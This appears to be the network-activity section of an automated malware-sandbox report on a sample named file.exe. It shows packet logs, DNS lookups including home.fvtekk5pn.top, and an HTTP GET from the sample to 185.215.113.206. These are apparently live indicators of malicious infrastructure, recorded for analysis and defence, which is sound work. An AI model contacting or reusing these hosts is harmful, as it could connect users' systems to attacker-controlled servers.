Nov 23, 2024 09:16:58.883229971 CET	443	49899	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.883301973 CET	443	49899	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.883600950 CET	49899	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.883600950 CET	49899	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.883682966 CET	49899	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.883698940 CET	443	49899	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.886770964 CET	49911	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.886795044 CET	443	49911	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.887150049 CET	49911	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.887150049 CET	49911	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.887180090 CET	443	49911	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.912290096 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.912399054 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.912427902 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.912616968 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.912806988 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.912868023 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.912933111 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.913043976 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.913963079 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.913990021 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.914017916 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.914140940 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.914993048 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.915095091 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.915119886 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.915226936 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.916122913 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.916182995 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.916201115 CET	443	49905	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:58.916208982 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.916227102 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.916485071 CET	49905	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:58.916500092 CET	443	49905	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:58.916862011 CET	443	49905	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:58.917171001 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.917277098 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.917299986 CET	49905	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:58.917382002 CET	443	49905	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:58.917449951 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.918262959 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.918375969 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.918397903 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.918490887 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.919337988 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.919410944 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.919436932 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.919538021 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.920411110 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.920485973 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.920522928 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.920612097 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.921499014 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.921639919 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.921660900 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.921808004 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.922594070 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.922674894 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.922698975 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.923671961 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.923674107 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.923760891 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.923784971 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.923918009 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.924840927 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.924856901 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.924906969 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.924943924 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.925838947 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.925928116 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.925950050 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.926209927 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.926925898 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.927027941 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.927053928 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.927206039 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.928066969 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.928204060 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.928205967 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.928319931 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.929095984 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.929214001 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.929234028 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.929366112 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.930197001 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.930308104 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.930638075 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.931277990 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.931374073 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.931396008 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.931459904 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.932342052 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.932446003 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.932476044 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.932605982 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.933454037 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.933537960 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.933564901 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.933588028 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.934545040 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.934649944 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.934678078 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.934838057 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.935625076 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.935714006 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.935733080 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.935925007 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.936760902 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.936887980 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.936918020 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.937031984 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.937800884 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.937915087 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.937922955 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.937978029 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.938873053 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.938970089 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.938997984 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.939204931 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.939954996 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.940057993 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.940093040 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.940267086 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.941030025 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.941137075 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.941164017 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.941320896 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.942128897 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.942219019 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.942251921 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.942344904 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.943243027 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.943254948 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.943540096 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.944299936 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.944336891 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.944365025 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.944504023 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.945461988 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.945593119 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.945610046 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.945724010 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.946459055 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.946559906 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.946585894 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.946731091 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.947545052 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.947608948 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.947643042 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.947849035 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.948651075 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.948735952 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.948739052 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.949032068 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.949736118 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.949822903 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.949847937 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.949924946 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.950809002 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.950923920 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.950944901 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.951082945 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.951889038 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.951968908 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.952002048 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.952121973 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.952954054 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.953082085 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.953104019 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.954050064 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.954170942 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.954199076 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.954480886 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.955132008 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.955243111 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.955269098 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.956202984 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.956227064 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.956315041 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.956414938 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.957338095 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.957457066 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.957648993 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.958452940 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.958580017 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.958581924 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.958693981 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.959491968 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.959616899 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.959650993 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.959764957 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.960562944 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.960664988 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.961005926 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.961628914 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.961786032 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.968450069 CET	49905	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:59.044538975 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:59.044622898 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:59.044903994 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:59.045057058 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:59.045208931 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:59.045238018 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:59.045327902 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:59.046161890 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:59.046284914 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:59.046295881 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:59.046432972 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:59.047209024 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:59.047311068 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:59.047645092 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:59.047718048 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:59.047748089 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:59.047844887 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:59.048700094 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:59.048754930 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:59.049199104 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:59.049757957 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:59.049855947 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:59.049887896 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:59.050071001 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:59.050822020 CET	80	49816	185.215.113.206	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2024 09:16:31.647542953 CET	192.168.2.6	1.1.1.1	0xb25b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 09:16:31.647696972 CET	192.168.2.6	1.1.1.1	0xb779	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 23, 2024 09:16:38.691658020 CET	192.168.2.6	1.1.1.1	0x6a72	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 09:16:38.692186117 CET	192.168.2.6	1.1.1.1	0xd5a	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 23, 2024 09:16:43.712625980 CET	192.168.2.6	1.1.1.1	0x27d1	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 09:16:43.712857962 CET	192.168.2.6	1.1.1.1	0xef15	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 23, 2024 09:16:46.303865910 CET	192.168.2.6	1.1.1.1	0xee3e	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 09:16:46.304744005 CET	192.168.2.6	1.1.1.1	0x7254	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 23, 2024 09:16:47.369903088 CET	192.168.2.6	1.1.1.1	0xc718	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 09:16:47.370337963 CET	192.168.2.6	1.1.1.1	0xa464	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 23, 2024 09:16:47.786514997 CET	192.168.2.6	1.1.1.1	0x3e5e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 09:16:47.786834955 CET	192.168.2.6	1.1.1.1	0x6c0f	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 23, 2024 09:16:47.787188053 CET	192.168.2.6	1.1.1.1	0x3df8	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 09:16:47.787585974 CET	192.168.2.6	1.1.1.1	0x7c8c	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 23, 2024 09:16:47.831280947 CET	192.168.2.6	1.1.1.1	0x821e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 09:16:47.833022118 CET	192.168.2.6	1.1.1.1	0x2810	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 23, 2024 09:17:48.076893091 CET	192.168.2.6	1.1.1.1	0xa693	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 09:17:48.077032089 CET	192.168.2.6	1.1.1.1	0xc6d0	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 23, 2024 09:17:48.077299118 CET	192.168.2.6	1.1.1.1	0xcf17	Standard query (0)	deff.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 09:17:48.077435017 CET	192.168.2.6	1.1.1.1	0xb86	Standard query (0)	deff.nelreports.net	65	IN (0x0001)	false
Nov 23, 2024 09:18:20.379319906 CET	192.168.2.6	1.1.1.1	0xd789	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 09:18:20.379426003 CET	192.168.2.6	1.1.1.1	0xfcbc	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 23, 2024 09:16:31.785953045 CET	1.1.1.1	192.168.2.6	0xb25b	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Nov 23, 2024 09:16:31.786148071 CET	1.1.1.1	192.168.2.6	0xb779	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 23, 2024 09:16:38.828686953 CET	1.1.1.1	192.168.2.6	0x6a72	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 09:16:38.828686953 CET	1.1.1.1	192.168.2.6	0x6a72	No error (0)	plus.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 23, 2024 09:16:38.828917027 CET	1.1.1.1	192.168.2.6	0xd5a	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 09:16:43.851680994 CET	1.1.1.1	192.168.2.6	0x27d1	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 09:16:43.851716995 CET	1.1.1.1	192.168.2.6	0xef15	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 09:16:44.296416044 CET	1.1.1.1	192.168.2.6	0x796d	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 09:16:44.296416044 CET	1.1.1.1	192.168.2.6	0x796d	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 23, 2024 09:16:44.374334097 CET	1.1.1.1	192.168.2.6	0x4c4e	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 09:16:46.441514969 CET	1.1.1.1	192.168.2.6	0xee3e	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 09:16:46.442608118 CET	1.1.1.1	192.168.2.6	0x7254	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 09:16:47.507328987 CET	1.1.1.1	192.168.2.6	0xc718	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 09:16:47.507328987 CET	1.1.1.1	192.168.2.6	0xc718	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.97	A (IP address)	IN (0x0001)	false
Nov 23, 2024 09:16:47.507827997 CET	1.1.1.1	192.168.2.6	0xa464	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 09:16:47.924046040 CET	1.1.1.1	192.168.2.6	0x3e5e	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 09:16:47.924046040 CET	1.1.1.1	192.168.2.6	0x3e5e	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 09:16:47.924129963 CET	1.1.1.1	192.168.2.6	0x3df8	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 09:16:47.924129963 CET	1.1.1.1	192.168.2.6	0x3df8	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 09:16:47.924180031 CET	1.1.1.1	192.168.2.6	0x6c0f	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 23, 2024 09:16:47.924747944 CET	1.1.1.1	192.168.2.6	0x7c8c	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 23, 2024 09:16:47.971896887 CET	1.1.1.1	192.168.2.6	0x821e	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 09:16:47.971896887 CET	1.1.1.1	192.168.2.6	0x821e	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 23, 2024 09:16:47.972774029 CET	1.1.1.1	192.168.2.6	0x2810	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 23, 2024 09:17:48.214860916 CET	1.1.1.1	192.168.2.6	0xcf17	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 09:17:48.214900017 CET	1.1.1.1	192.168.2.6	0xc6d0	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 09:17:48.214927912 CET	1.1.1.1	192.168.2.6	0xb86	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 09:17:48.322014093 CET	1.1.1.1	192.168.2.6	0xa693	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 09:18:21.178595066 CET	1.1.1.1	192.168.2.6	0xd789	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49714	185.215.113.206	80	7040	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 09:16:22.896823883 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 09:16:24.325308084 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
